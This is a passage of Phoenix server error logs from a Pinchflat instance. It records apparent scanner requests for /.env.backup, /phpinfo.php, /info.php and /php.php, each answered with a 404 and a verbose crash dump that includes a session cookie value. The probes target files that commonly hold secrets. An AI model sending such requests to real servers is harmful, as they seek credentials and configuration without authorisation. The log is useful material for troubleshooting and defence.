#PID<0.11820.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/.env.backup", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsXECL4AZy2fcABVeB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.backup", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 53, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.backup", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 53, host_info: :undefined }}, assigns: %{}, body_params: %{}, c (truncated) 17:14:31.908 [info] GET /phpinfo.php 17:14:31.909 [debug] QUERY OK source="settings" db=0.1ms idle=816.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:31.909 [debug] QUERY OK source="settings" db=0.0ms idle=544.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:31.909 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:31.909 [error] #PID<0.11821.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 54) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /phpinfo.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/phpinfo.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 54, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11821.0>, params: %{}, path_info: ["phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/phpinfo.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsXFDGNfHMnMQABVgB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/phpinfo.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 54, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/phpinfo.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 54, host_info: :undefined }}, assigns: %{}, body_params: %{}, (truncated) 17:14:32.180 [info] GET /info.php 17:14:32.181 [debug] QUERY OK source="settings" db=0.1ms idle=544.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:32.181 [debug] QUERY OK source="settings" db=0.0ms idle=544.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:32.181 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:32.182 [error] #PID<0.11822.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 55) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /info.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/info.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 55, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11822.0>, params: %{}, path_info: ["info"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/info.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsXGEAPYQvTa0ABViB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/info.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 55, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/info.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 55, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ (truncated) 17:14:32.454 [info] GET /php.php 17:14:32.454 [debug] QUERY OK source="settings" db=0.1ms idle=545.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:32.454 [debug] QUERY OK source="settings" db=0.0ms idle=545.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:32.454 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:32.455 [error] #PID<0.11823.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 56) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /php.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/php.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 56, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11823.0>, params: %{}, path_info: ["php"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/php.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsXHFHmIkpC1QABVkB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/php.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 56, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: 